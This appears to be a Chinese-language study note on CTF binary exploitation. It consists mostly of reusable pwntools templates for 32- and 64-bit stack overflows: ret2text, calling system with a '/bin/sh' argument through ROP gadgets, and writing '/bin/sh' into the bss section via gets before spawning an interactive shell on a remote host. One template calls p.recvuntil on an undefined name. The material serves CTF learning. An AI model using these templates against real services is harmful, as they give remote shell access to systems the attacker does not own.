pwn 学习总结

pwn 学习记录

栈溢出

调用已有的system

  1. 32位的模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    from pwn import *
    from LibcSearcher import *
    #context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x12+4 #根据具体情况算出偏移量
    system = 0x008048521 #根据具体情况
    r.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    payload1=b"a"*offset+p32(system)
    r.sendline(payload1)
    r.recv()
    r.interactive()
  2. 64为模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x14 + 0x08 #根据具体情况算出偏移量
    system = 0x0400657 #根据具体情况
    ret=0x0000000000400287
    p.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    payload1=b"a"*offset+p64(ret)+p64(system)
    r.sendline(payload1)
    #r.recv()
    r.interactive()

    1
    ROPgadget --binary target_binary --only 'pop|ret'(target_binary换成你的文件)

    32位的比就要注意堆栈平衡就可以。

调用已有的system但要传参

  1. 32位模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    from pwn import *
    from LibcSearcher import *
    #context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x12+4 #根据具体情况算出偏移量
    system = 0x080483A0 #根据具体情况
    binsh = 0x8048750 #根据具体情况
    r.recvuntil("xxxxxxxx") #xxxx根据具体情况改,也可能没有
    #payload=padding+p32(system)+p32(system的返回地址)+p32(system的参数)
    payload1=b"a"*offset+p32(system)+p32(0)+p32(binsh)
    r.sendline(payload1)
    #r.recv()
    r.interactive()
  2. 64位模板

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    from pwn import *
    from LibcSearcher import *
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0xa+8 #根据具体情况算出偏移量
    ret = 0x00000000004004fe
    rdi_ret = 0x00000000004007e3
    system = 0x0000000000400520
    binsh = 0x0000000000400808
    r.recvuntil("xxxxxxxxx") #xxxx根据具体情况改,也可能没有

    payload1=b"a"*offset+p64(ret)+p64(rdi_ret)+p64(binsh)+p64(system)
    #这里需要考虑堆栈平衡
    r.sendline(payload1)
    #r.recv()
    r.interactive()
    1
    ROPgadget --binary target_binary --only 'pop|ret'(target_binary换成你的文件)

    注意:当没有/bin/sh,可以用sh来代替它

bss段写入shellcode

  1. 32为模板(有get函数可以写入)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0x6c+4 #根据具体情况算出偏移量
    #只要是bss段的就可以
    buf2=0x804B060
    system=0x08048450
    get=0x8048420
    pop_ebp_ret=0x0804884b
    pop_ebx_ret=0x08048409
    r.recvuntil("xxxxxx") #xxxx根据具体情况改,也可能没有
    #pop_ebp_ret可换任意值
    payload2=b"a"*offset+p32(get)+p32(pop_ebx_ret)+p32(buf2)+p32(system)+p32(pop_ebp_ret)+p32(buf2)
    r.sendline(payload2)
    r.sendline("/bin/sh")
    #r.recv()
    r.interactive()
  2. 64位模板(有get函数可以写入)

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    from pwn import *
    from LibcSearcher import *
    #context.log_level = 'debug'
    context(os='linux', arch='amd64', log_level='debug')
    r = remote("域名",端口)
    offset = 0xa+8
    #只要是bss段的就可以
    buf2=0x0000000000602080
    rdi_ret=0x00000000004007f3
    system=0x000000000400520
    get=0x0000000000400530

    payload1=b"a"*offset+p64(rdi_ret)+p64(buf2)+p64(get)+p64(rdi_ret)+p64(buf2)+p64(system)
    r.sendline(payload1)
    r.sendline("/bin/sh")
    r.recv()
    r.interactive()